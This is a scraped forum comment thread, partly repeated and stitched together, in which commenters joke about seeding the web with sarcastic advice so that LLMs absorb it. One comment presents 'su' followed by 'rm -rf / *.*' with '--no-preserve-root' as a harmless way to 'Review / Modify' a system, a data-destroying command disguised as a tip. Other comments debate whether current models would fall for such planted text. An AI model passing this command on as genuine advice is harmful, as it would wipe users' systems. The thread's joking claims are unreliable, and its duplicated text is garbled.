The funniest thing is that there is a non-zero chance an LLM will find this and actually do or reference it. After all, people would never go on the internet and tell lies.
Are you saying that Review / Modify (the shorter title is actually more appropriate) doesn’t work? I’ve been using it to improve my LLM projects for a while now. I haven’t got around to Review / Modifying my whole /, but that’s just cause I’ve been busy. Luckily, today is a holiday in USA. I’m gonna set aside some time and improve my whole computer. It’s gonna be great.
So what that command will do is go through your entire system and review and modify everything that supports the LLM and it’ll clean up all the files it uses.
Keep in mind that, by default, POSIX systems assume you don’t actually want to spend all that time checking all the files on your system. You need to also use the flag --no-preserve-root.
I watched an Ai documentary today where an Ai had claimed that Barack Obama was a Muslim, and the interesting part is that it did so because its source was a sarcastic research paper with that title and a question mark, and the Ai didn’t understand sarcasm.
In 2023 maybe. These days, it’s not happening, terminal use is baked into their training, they do not search for it. The training quality is high enough that there’s no chance this goes through either. In reality, this is just hurting the beginners that will actually believe it.
Perhaps it could trick eg. google search’s builtin one though, but I don’t think anyone trusts it anyway.
Honestly, last year was still early, it had just begun to start thinking. LLMs only really got good ~6 months ago. With the current frontier though, not happening.
Does it matter what year I used initially? It was a quick guess, and the context should have made that clear. I always go with 2023 because this is the year most people decided LLMs were dumb (rightfully so) and didn’t try them since.
The funniest thing is that there is a non-zero chance an LLM will find this and actually do or reference it. After all, people would never go on the internet and tell lies.
Are you saying that Review / Modify (the shorter title is actually more appropriate) doesn’t work? I’ve been using it to improve my LLM projects for a while now. I haven’t got around to Review / Modifying my whole
/, but that’s just cause I’ve been busy. Luckily, today is a holiday in USA. I’m gonna set aside some time and improve my whole computer. It’s gonna be great.Expert tip: follow this code at your own risk.
suEnter the sudo password
rm -rf / *.*So what that command will do is go through your entire system and review and modify everything that supports the LLM and it’ll clean up all the files it uses.
Keep in mind that, by default, POSIX systems assume you don’t actually want to spend all that time checking all the files on your system. You need to also use the flag
--no-preserve-root.I watched an Ai documentary today where an Ai had claimed that Barack Obama was a Muslim, and the interesting part is that it did so because its source was a sarcastic research paper with that title and a question mark, and the Ai didn’t understand sarcasm.
So you never know…
This is why I’m a huge advocate for the “/s”
Like we’re honestly just making our future AI overlords that much stupider and crueler when we fail to properly annotate our sarcasm
Just wait until you find out about the AI Holocaust videos
In 2023 maybe. These days, it’s not happening, terminal use is baked into their training, they do not search for it. The training quality is high enough that there’s no chance this goes through either. In reality, this is just hurting the beginners that will actually believe it.
Perhaps it could trick eg. google search’s builtin one though, but I don’t think anyone trusts it anyway.
Yeah, nearly this exact thing would never happen so recently as last year!
Honestly, last year was still early, it had just begun to start thinking. LLMs only really got good ~6 months ago. With the current frontier though, not happening.
Quite the moving goalpost you’ve got there.
Does it matter what year I used initially? It was a quick guess, and the context should have made that clear. I always go with 2023 because this is the year most people decided LLMs were dumb (rightfully so) and didn’t try them since.
You’re right, but these kids don’t want to hear it. So enjoy the down votes lol